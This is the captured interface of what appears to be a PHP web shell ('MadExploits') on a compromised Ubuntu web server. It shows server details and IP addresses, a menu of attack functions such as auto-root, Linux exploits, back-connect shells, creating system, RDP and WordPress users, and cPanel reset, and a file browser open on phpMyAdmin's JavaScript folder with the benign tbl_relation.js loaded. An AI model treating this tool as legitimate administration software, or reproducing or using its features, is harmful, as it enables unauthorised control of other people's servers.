Linux ip-172-31-29-64 6.8.0-1051-aws #54~22.04.1-Ubuntu SMP Wed Mar 25 15:41:00 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
: 172.31.29.64 | : 216.73.216.80
Cant Read [ /etc/named.conf ]
5.6.40-77+ubuntu22.04.1+deb.sury.org+1
ubuntu
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
phpmyadmin /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
codemirror
[ DIR ]
drwxr-xr-x
designer
[ DIR ]
drwxr-xr-x
jqplot
[ DIR ]
drwxr-xr-x
transformations
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
ajax.js
30.51
KB
-rw-r--r--
chart.js
18.08
KB
-rw-r--r--
common.js
18.76
KB
-rw-r--r--
config.js
26.88
KB
-rw-r--r--
console.js
55.94
KB
-rw-r--r--
cross_framing_protection.js
471
B
-rw-r--r--
db_central_columns.js
10.86
KB
-rw-r--r--
db_multi_table_query.js
7.85
KB
-rw-r--r--
db_operations.js
6.21
KB
-rw-r--r--
db_qbe.js
2.47
KB
-rw-r--r--
db_query_generator.js
4.39
KB
-rw-r--r--
db_search.js
8.56
KB
-rw-r--r--
db_structure.js
15.43
KB
-rw-r--r--
db_tracking.js
3.57
KB
-rw-r--r--
doclinks.js
20.16
KB
-rw-r--r--
error_report.js
10.58
KB
-rw-r--r--
export.js
34.24
KB
-rw-r--r--
export_output.js
289
B
-rw-r--r--
functions.js
171.32
KB
-rw-r--r--
gis_data_editor.js
14.42
KB
-rw-r--r--
import.js
5.51
KB
-rw-r--r--
indexes.js
27.01
KB
-rw-r--r--
keyhandler.js
3.25
KB
-rw-r--r--
makegrid.js
96.42
KB
-rw-r--r--
menu-resizer.js
8.12
KB
-rw-r--r--
messages.php
40.42
KB
-rw-r--r--
microhistory.js
11.32
KB
-rw-r--r--
multi_column_sort.js
3.21
KB
-rw-r--r--
navigation.js
59.35
KB
-rw-r--r--
normalization.js
27.47
KB
-rw-r--r--
page_settings.js
1.71
KB
-rw-r--r--
replication.js
3.13
KB
-rw-r--r--
rte.js
46.57
KB
-rw-r--r--
server_databases.js
5.56
KB
-rw-r--r--
server_plugins.js
495
B
-rw-r--r--
server_privileges.js
18.58
KB
-rw-r--r--
server_status_advisor.js
3.63
KB
-rw-r--r--
server_status_monitor.js
84.47
KB
-rw-r--r--
server_status_processes.js
6.17
KB
-rw-r--r--
server_status_queries.js
1.13
KB
-rw-r--r--
server_status_sorter.js
1.96
KB
-rw-r--r--
server_status_variables.js
3.19
KB
-rw-r--r--
server_user_groups.js
1.34
KB
-rw-r--r--
server_variables.js
4.17
KB
-rw-r--r--
shortcuts_handler.js
3.19
KB
-rw-r--r--
sql.js
37.76
KB
-rw-r--r--
tbl_change.js
27.89
KB
-rw-r--r--
tbl_chart.js
13.8
KB
-rw-r--r--
tbl_find_replace.js
1.54
KB
-rw-r--r--
tbl_gis_visualization.js
10.7
KB
-rw-r--r--
tbl_operations.js
13.88
KB
-rw-r--r--
tbl_relation.js
8.83
KB
-rw-r--r--
tbl_select.js
15.44
KB
-rw-r--r--
tbl_structure.js
19.41
KB
-rw-r--r--
tbl_tracking.js
3.85
KB
-rw-r--r--
tbl_zoom_plot_jqplot.js
21.9
KB
-rw-r--r--
u2f.js
2.47
KB
-rw-r--r--
whitelist.php
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tbl_relation.js
/* vim: set expandtab sw=4 ts=4 sts=4: */ /** * for tbl_relation.php * */ function show_hide_clauses ($thisDropdown) { if ($thisDropdown.val() === '') { $thisDropdown.parent().nextAll('span').hide(); } else { if ($thisDropdown.is('select[name^="destination_foreign_column"]')) { $thisDropdown.parent().nextAll('span').show(); } } } /** * Sets dropdown options to values */ function setDropdownValues ($dropdown, values, selectedValue) { $dropdown.empty(); var optionsAsString = ''; // add an empty string to the beginning for empty selection values.unshift(''); $.each(values, function () { optionsAsString += '<option value=\'' + escapeHtml(this) + '\'' + (selectedValue === escapeHtml(this) ? ' selected=\'selected\'' : '') + '>' + escapeHtml(this) + '</option>'; }); $dropdown.append($(optionsAsString)); } /** * Retrieves and populates dropdowns to the left based on the selected value * * @param $dropdown the dropdown whose value got changed */ function getDropdownValues ($dropdown) { var foreignDb = null; var foreignTable = null; var $databaseDd; var $tableDd; var $columnDd; var foreign = ''; // if the changed dropdown is for foreign key constraints if ($dropdown.is('select[name^="destination_foreign"]')) { $databaseDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_db"]'); $tableDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_table"]'); $columnDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_column"]'); foreign = '_foreign'; } else { // internal relations $databaseDd = $dropdown.parent().find('select[name^="destination_db"]'); $tableDd = $dropdown.parent().find('select[name^="destination_table"]'); $columnDd = $dropdown.parent().find('select[name^="destination_column"]'); } // if the changed dropdown is a database selector if ($dropdown.is('select[name^="destination' + foreign + '_db"]')) { foreignDb = $dropdown.val(); // if no database is selected empty table and column dropdowns if (foreignDb === '') { setDropdownValues($tableDd, []); setDropdownValues($columnDd, []); return; } } else { // if a table selector foreignDb = $databaseDd.val(); foreignTable = $dropdown.val(); // if no table is selected empty the column dropdown if (foreignTable === '') { setDropdownValues($columnDd, []); return; } } var $msgbox = PMA_ajaxShowMessage(); var $form = $dropdown.parents('form'); var $db = $form.find('input[name="db"]').val(); var $table = $form.find('input[name="table"]').val(); var argsep = PMA_commonParams.get('arg_separator'); var params = 'getDropdownValues=true' + argsep + 'ajax_request=true' + argsep + 'db=' + encodeURIComponent($db) + argsep + 'table=' + encodeURIComponent($table) + argsep + 'foreign=' + (foreign !== '') + argsep + 'foreignDb=' + encodeURIComponent(foreignDb) + (foreignTable !== null ? argsep + 'foreignTable=' + encodeURIComponent(foreignTable) : '' ); var $server = $form.find('input[name="server"]'); if ($server.length > 0) { params += argsep + 'server=' + $form.find('input[name="server"]').val(); } $.ajax({ type: 'POST', url: 'tbl_relation.php', data: params, dataType: 'json', success: function (data) { PMA_ajaxRemoveMessage($msgbox); if (typeof data !== 'undefined' && data.success) { // if the changed dropdown is a database selector if (foreignTable === null) { // set values for table and column dropdowns setDropdownValues($tableDd, data.tables); setDropdownValues($columnDd, []); } else { // if a table selector // set values for the column dropdown var primary = null; if (typeof data.primary !== 'undefined' && 1 === data.primary.length ) { primary = data.primary[0]; } setDropdownValues($columnDd.first(), data.columns, primary); setDropdownValues($columnDd.slice(1), data.columns); } } else { PMA_ajaxShowMessage(data.error, false); } } }); } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('tbl_relation.js', function () { $('body').off('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]' ); $('body').off('click', 'a.add_foreign_key_field'); $('body').off('click', 'a.add_foreign_key'); $('a.drop_foreign_key_anchor.ajax').off('click'); }); AJAX.registerOnload('tbl_relation.js', function () { /** * Ajax event handler to fetch table/column dropdown values. */ $('body').on('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]', function () { getDropdownValues($(this)); } ); /** * Ajax event handler to add a column to a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key_field', function (event) { event.preventDefault(); event.stopPropagation(); // Add field. $(this) .prev('span') .clone(true, true) .insertBefore($(this)) .find('select') .val(''); // Add foreign field. var $source_elem = $('select[name^="destination_foreign_column[' + $(this).attr('data-index') + ']"]:last').parent(); $source_elem .clone(true, true) .insertAfter($source_elem) .find('select') .val(''); }); /** * Ajax event handler to add a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key', function (event) { event.preventDefault(); event.stopPropagation(); var $prev_row = $(this).closest('tr').prev('tr'); var $newRow = $prev_row.clone(true, true); // Update serial number. var curr_index = $newRow .find('a.add_foreign_key_field') .attr('data-index'); var new_index = parseInt(curr_index) + 1; $newRow.find('a.add_foreign_key_field').attr('data-index', new_index); // Update form parameter names. $newRow.find('select[name^="foreign_key_fields_name"]:not(:first), ' + 'select[name^="destination_foreign_column"]:not(:first)' ).each(function () { $(this).parent().remove(); }); $newRow.find('input, select').each(function () { $(this).attr('name', $(this).attr('name').replace(/\d/, new_index) ); }); $newRow.find('input[type="text"]').each(function () { $(this).val(''); }); // Finally add the row. $newRow.insertAfter($prev_row); }); /** * Ajax Event handler for 'Drop Foreign key' */ $('a.drop_foreign_key_anchor.ajax').on('click', function (event) { event.preventDefault(); var $anchor = $(this); // Object containing reference to the current field's row var $curr_row = $anchor.parents('tr'); var drop_query = escapeHtml( $curr_row.children('td') .children('.drop_foreign_key_msg') .val() ); var question = PMA_sprintf(PMA_messages.strDoYouReally, drop_query); $anchor.PMA_confirm(question, $anchor.attr('href'), function (url) { var $msg = PMA_ajaxShowMessage(PMA_messages.strDroppingForeignKey, false); var params = getJSConfirmCommonParam(this, $anchor.getPostData()); $.post(url, params, function (data) { if (data.success === true) { PMA_ajaxRemoveMessage($msg); PMA_commonActions.refreshMain(false, function () { // Do nothing }); } else { PMA_ajaxShowMessage(PMA_messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); // end $.PMA_confirm() }); // end Drop Foreign key var windowwidth = $(window).width(); $('.jsresponsive').css('max-width', (windowwidth - 35) + 'px'); });
Close